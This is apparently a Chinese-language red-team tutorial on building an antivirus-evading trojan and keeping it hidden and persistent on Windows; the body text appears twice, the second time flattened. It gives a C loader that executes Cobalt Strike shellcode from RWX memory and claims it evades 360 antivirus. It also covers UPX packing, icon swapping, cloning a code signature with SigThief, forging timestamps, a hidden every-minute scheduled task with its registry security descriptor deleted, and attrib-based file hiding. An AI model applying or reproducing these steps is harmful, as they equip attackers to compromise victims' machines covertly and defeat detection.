红队视角下的隐匿木马文件 实现持久化控制
字数 969 2025-08-24 07:48:22

红队视角下的隐匿木马文件实现持久化控制

前言

在红蓝对抗中,远控木马是实现持久控制的关键工具。本文详细介绍了如何制作免杀木马、隐藏木马文件以及实现持久化控制的完整技术流程。

免杀木马制作

1. Cobalt Strike生成shellcode

使用Cobalt Strike生成shellcode.c文件,针对目标机器的杀毒软件特性制作有针对性的免杀马。

2. 内存加载shellcode

使用申请动态内存的方式加载shellcode,生成免杀木马:

#include <Windows.h>
#include <stdio.h>
#include <string.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 隐藏控制台窗口

unsigned char buf[] = "shellcode";

main() {
    char *Memory;
    Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(Memory, buf, sizeof(buf));
    ((void(*)())Memory)();
}

此方法可通过360的静态免杀检测,动态操作也不会触发报毒。

文件隐藏技术

1. 文件加壳

使用UPX对生成的64位shellcode进行加壳:

.\upx.exe C:\Users\33519\Desktop\shellcode.exe

2. 替换图标

使用BeCyIconGrabberPortable提取合法程序的图标,然后使用Resource Hacker替换木马程序的图标,使其看起来像合法程序。

3. 伪造数字签名

使用SigThief工具伪造数字签名:

python .\sigthief.py -i wps.exe -t .\shellcode.exe -o shellcode2.exe

参数说明:

  • -i: 自带签名的文件
  • -t: 未加签名的文件
  • -o: 输出文件

4. 伪造文件修改时间

使用ChTimeStamp工具伪造文件修改时间:

ChTimeStamp.exe C:\Users\canxue\Desktop\shellcode2.exe "C:\Program Files (x86)\360\360Safe\360bps.dat"

选择系统早期创建的文件(如360bps.dat)作为时间参考,使木马文件看起来像是早期安装的。

持久化控制技术

1. 计划任务隐藏自启动

使用SchTask工具创建隐藏的自启动任务:

SchTask.exe shellcode2.exe 1

参数1表示每分钟执行一次计划任务。

实现步骤:

  1. 选择主机随机进程名作为计划任务程序文件名
  2. 将计划任务程序文件复制到%AppData%\Microsoft\Windows\Themes\目录
  3. 创建的计划任务名取同一随机进程名
  4. 计划任务触发器设置为每分钟执行,无限期持续
  5. 更改Index、删除SD的键值,隐藏计划任务对应的XML文件

2. 深度隐藏文件

使用attrib命令深度隐藏木马文件:

attrib +s +h +r 文件名

即使打开"显示隐藏文件"选项也无法显示被这样隐藏的文件。

检测规避技巧

  1. 在注册表中查看被隐藏的计划任务
  2. 使用合法系统目录存放木马文件
  3. 模仿系统进程命名方式
  4. 使用系统工具进行文件时间伪造

总结

通过以上技术组合,可以实现:

  1. 免杀的木马文件
  2. 难以发现的文件隐藏
  3. 持久化的控制机制
  4. 对常规检测手段的规避

这种技术组合能够使木马在目标机器上长期存活,为红队行动提供持续的控制通道。

红队视角下的隐匿木马文件实现持久化控制 前言 在红蓝对抗中,远控木马是实现持久控制的关键工具。本文详细介绍了如何制作免杀木马、隐藏木马文件以及实现持久化控制的完整技术流程。 免杀木马制作 1. Cobalt Strike生成shellcode 使用Cobalt Strike生成shellcode.c文件,针对目标机器的杀毒软件特性制作有针对性的免杀马。 2. 内存加载shellcode 使用申请动态内存的方式加载shellcode,生成免杀木马: 此方法可通过360的静态免杀检测,动态操作也不会触发报毒。 文件隐藏技术 1. 文件加壳 使用UPX对生成的64位shellcode进行加壳: 2. 替换图标 使用BeCyIconGrabberPortable提取合法程序的图标,然后使用Resource Hacker替换木马程序的图标,使其看起来像合法程序。 3. 伪造数字签名 使用SigThief工具伪造数字签名: 参数说明: -i : 自带签名的文件 -t : 未加签名的文件 -o : 输出文件 4. 伪造文件修改时间 使用ChTimeStamp工具伪造文件修改时间: 选择系统早期创建的文件(如360bps.dat)作为时间参考,使木马文件看起来像是早期安装的。 持久化控制技术 1. 计划任务隐藏自启动 使用SchTask工具创建隐藏的自启动任务: 参数 1 表示每分钟执行一次计划任务。 实现步骤: 选择主机随机进程名作为计划任务程序文件名 将计划任务程序文件复制到 %AppData%\Microsoft\Windows\Themes\ 目录 创建的计划任务名取同一随机进程名 计划任务触发器设置为每分钟执行,无限期持续 更改Index、删除SD的键值,隐藏计划任务对应的XML文件 2. 深度隐藏文件 使用attrib命令深度隐藏木马文件: 即使打开"显示隐藏文件"选项也无法显示被这样隐藏的文件。 检测规避技巧 在注册表中查看被隐藏的计划任务 使用合法系统目录存放木马文件 模仿系统进程命名方式 使用系统工具进行文件时间伪造 总结 通过以上技术组合,可以实现: 免杀的木马文件 难以发现的文件隐藏 持久化的控制机制 对常规检测手段的规避 这种技术组合能够使木马在目标机器上长期存活,为红队行动提供持续的控制通道。